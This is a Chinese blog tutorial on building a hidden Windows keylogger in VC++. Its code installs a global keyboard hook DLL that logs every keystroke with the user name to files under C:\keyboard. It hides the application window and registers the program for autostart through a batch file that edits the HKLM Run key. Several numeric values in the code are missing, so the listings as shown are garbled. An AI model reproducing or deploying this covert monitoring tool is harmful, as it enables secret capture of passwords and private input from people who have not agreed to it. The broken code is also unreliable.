VC++开发Windows系统全局钩子
本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。
这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。
程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。
- 全局钩子DLL
创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,
定义全局变量:
#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()
在DLL入口函数中,添加获取钩子实例句柄的代码:
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("KEYBOARDHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization
if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
return ; new CDynLinkLibrary(KeyBoardHookDLL);
pinstance = hInstance; //获取钩子实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(KeyBoardHookDLL);
}
return ; // ok
}
全局钩子的具体实现代码:
//保存日志文件
extern "C" void SaveLog(char* c)
{
//printf("刚才点击的是%c键/n", &c);
//char buffer[80];
//wsprintf(buffer, "c的值是%c", c);
//AfxMessageBox(buffer);
const int MAX_BUFFER_LEN = ;
char szBuffer[MAX_BUFFER_LEN];
DWORD dwNameLen; dwNameLen = MAX_BUFFER_LEN;
GetUserName(szBuffer, &dwNameLen); CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,);
file.Close();
} //键盘钩子回调函数
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam)
{
LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
if(nCode == HC_ACTION){
if(lParam & 0x80000000){
char c[];
c[]=wParam;
//AfxMessageBox(c);
SaveLog(c);
}
} return Result;
} //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
extern "C" bool WINAPI InstallHook()
{
// AfxMessageBox("anzhuang");
hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, );
if(hhook != NULL)
return true;
else
return false;
}
用def文件导出DLL函数,在KeyBoardHook.def中添加:
EXPORTS
; Explicit exports can go here
InstallHook @ //dll导出函数的名称为InstallHook,序号为1
至此,编译并运行,程序的DLL部分便完成了。
- 负责调用DLL的单文档应用程序
创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。
设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:
//安装钩子函数
extern "C" bool WINAPI InstallHook();
在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。
void CKeyBoardHookAppView::OnInitialUpdate()
{
CView::OnInitialUpdate(); // TODO: Add your specialized code here and/or call the base class
InstallHook();
}
最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:
在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。
- 设置本程序随开机自启动
使用bat批处理来制作安装和卸载
md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f
以管理员身份运行“安装.bat” ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。
参考:
《精通Windows程序设计——基于Visual C++实现》 人民邮电出版社
《利用键盘钩子捕获Windows键盘动作》 http://www.yesky.com/328/1890328.shtml
VC++开发Windows系统全局钩子的更多相关文章
- VC++ 获取windows系统的版本类型
vc中获取windows版本信息,一般是调用GetVersionEx 这个API函数来获取的,这个API需要OSVERSIONINFOEX 这个结构体作为参数,OSVERSIONINFOEX 的对应的 ...
- VC++ 获取Windows系统版本号、CPU名称
转载:https://blog.csdn.net/sunflover454/article/details/51525179 转载:https://blog.csdn.net/magictong/ar ...
- windows 键盘全局钩子
// HookapiTest.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #inc ...
- 【旧文章搬运】Windows中全局钩子DLL的加载过程
原文发表于百度空间,2011-03-24========================================================================== 看雪上别人 ...
- 安全之路 —— 使用Windows全局钩子打造键盘记录器
简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...
- Windows系统VSCode、VBox搭建C/C++开发环境
好几年没有写过C/C++代码,基本上都忘光了,之前是使用VC++6.0写代码的,最近用VSCode成功搭建了C/C++开发环境,这里记录一下搭建过程. 1. 安装VSCode 在官网https://c ...
- 使用Windows全局钩子打造键盘记录器
简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...
- WSL2:在Windows系统中开发Linux程序的又一神器
作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...
- 2013-6-2 [转载自CSDN]如何入门Windows系统下驱动开发
[序言]很多人都对驱动开发有兴趣,但往往找不到正确的学习方式.当然这跟驱动开发的本土化资料少有关系.大多学的驱动开发资料都以英文为主,这样让很多驱动初学者很头疼.本人从事驱动开发时间不长也不短,大概 ...
随机推荐
- discuz目录结构和插件创建
discuz目录结构 api 外部接口功能实现 archiver 静态文档,静态化所用 config 配置 data 生成的数据 install 安装目录 source 源代码核心目录 |--modu ...
- docker实战
docker基础入门 docker网络
- JavaScript跨域总结与解决办法(转)
什么是跨域 1.document.domain+iframe的设置 2.动态创建script 3.利用iframe和location.hash 4.window.name实现的跨域数据传输 5.使用H ...
- [SoapUI] Datasink怎么显示每次循环的结果
https://www.soapui.org/reporting/the-report-datasink.html
- Autotest Weekly Report
Autotest Weekly Report Reported by: 12/16/2013 What I Did Last Week Debug autotest scripts of ‘smart ...
- OSGi 系列(三)之 bundle 事件监听
OSGi 系列(三)之 bundle 事件监听 bundle 的事件监听是在 bundle 生命周期的不同状态相互转换时,OSGi 框架会发出各种不同的事件供事先注册好的事件监听器处理. 1. 事件监 ...
- 2018.06.29 NOIP模拟 区间(前缀和差量)
区间(interval.cpp) 时限:2000ms 空间限制:512MB [问题描述] 给出一个长度为 n 的序列 a[1]-a[n]. 给出 q 组询问,每组询问形如<x,y>< ...
- 2018.09.01 loj#2330. 「清华集训 2017」榕树之心(树形dp)
传送门 树形dp好题啊. 我们用w[i]" role="presentation" style="position: relative;">w[ ...
- Instantiation of bean failed; nested exception is org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [com.liuyang.JDbCTemplate.PersonDao]: No default constructor fo
错误是说我的配置文件中没有对构造函数进行配置,所以找不到构造函数,在配置文件application.xml中加入如下句子: <bean id="personDao" clas ...
- cxf-rs 和 swagger 的点
1. 从web.xml 说起 <servlet> <servlet-name>CXFServlet</servlet-name> <servlet-class ...